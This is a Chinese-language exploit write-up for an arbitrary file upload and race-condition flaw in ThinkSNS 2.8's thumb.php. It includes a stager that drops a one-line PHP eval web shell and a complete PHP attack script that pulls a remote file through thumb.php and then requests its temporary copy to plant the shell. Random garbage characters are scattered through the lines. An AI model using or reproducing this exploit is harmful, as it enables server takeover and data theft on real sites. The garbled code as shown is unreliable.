Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
' X. t' H7 O! o2 X" p! r4 C" x存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
漏洞文件
! H- F$ ~2 X2 O& a- v存在漏洞的文件为：thumb.php
3 v: e; e8 P7 Y8 T6 X: y2 o作者：韦鲲鹏
" I' i9 `4 R" B' z- l+ G: V1、        准备如下PHP文件并上传到服务器（自己的）。
文件内容如下：
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
8 g; E3 X6 ~/ \2、        计算出临时的文件名：
这里我们可以看文件的99行（刚刚是不是没注意呀！）。

3、        上传临时文件。
4、        访问临时文件。
但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
Exploit文件内容如下：（这个我就不详细解释了）
8 q+ R4 A: }8 F: z6 t<?php
error_reporting(0);
! v: s4 v) B6 I8 L; b% Y! dset_time_limit(0);
4 |1 n. I+ f5 N8 t7 [* kini_set(“default_socket_timeout”, 5);
; @$ |- j6 @: ?* [, M+ G+ P  ?' Dfunction http_send($host, $port, $headers) {
1 Z9 M& Q0 N* G- b2 b0 P$fp = fsockopen($host, $port);
if (!$fp) die(‘Connection -> fail’);
- S% r% ^3 C" o( kfputs($fp, $headers);
return $fp;
}
+ z8 b. z% m; H* H! mfunction http_recv($fp) {
0 w1 w+ p$ x: N8 K9 L) Z% v$ret=”";
2 r4 ^$ g% O% `while (!feof($fp))
' B- ]* q* C8 ?8 t$ret.= fgets($fp, 1024);
fclose($fp);
" q: J0 ~$ l* A; u/ x" x7 o. a8 Lreturn $ret;
4 A' B* n, _; U7 N}
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
3 Q; {& ]3 q' S: Wprint “# Discovered by 韦鲲鹏 #\n\n”;
if ($argc < 4) {
print “Usage:   php <host> <path> <romote_url>\n”;
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
die();
}
$host = $argv[1];
" H; _. K8 L0 I& t$path = $argv[2];
$url = $argv[3];
$i=0;
//上传数据包
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
: i9 `+ t# T: C7 k7 [; k( l) P$headers_up .= “Host: “.$host.”\r\n”;
# {4 P& u) u2 f$ r5 `& }$headers_up .= “Connection: close\r\n\r\n”;
7 \; W7 F& X' K' Xecho $headers_up;
/ S% Q( S7 ~8 n4 D  R//临时文件访问数据包
+ h) F: z, B& H5 v1 n$ d$ D- ]: @$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
7 N: M& y; d# j' @$ h8 |echo $headers;
5 I. J7 X. l' ~/ r& s2 zwhile(++$i<10) {
' [8 p& q; X6 X$ m$ Nfclose(http_send($host, 80, $headers));
  y- V& K5 m# {" {1 U! m9 H}
fclose(http_send($host, 80, $headers_up));
( N- L. T6 D5 R1 zwhile(++$i<50) {
4 Q+ R8 e& o5 Y1 f2 ]fclose(http_send($host, 80, $headers));
}
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
3 j" ?9 z/ v# ]" M4 I8 h3 t7 j" o$headers .= “Host: “.$host.”\r\n”;
. p  [. \# Y7 ]) x3 S7 C# G$headers .= “Connection: close\r\n\r\n”;
0 L3 H$ o" X& _1 e3 e0 S8 k$res=http_recv(http_send($host, 80, $headers));
if(preg_match(‘/200 OK/’,$res)) {
print “Success!\n\n”;
$ p1 E& o% }7 D% w7 d} else {
/ {0 ^7 s3 E4 V( g! R: W3 _$ K# pprint “Fail!\n\n”;
8 |, z2 W9 e( ~% d5 |}
?>
4 e, w3 j' f0 w2 H) j# l​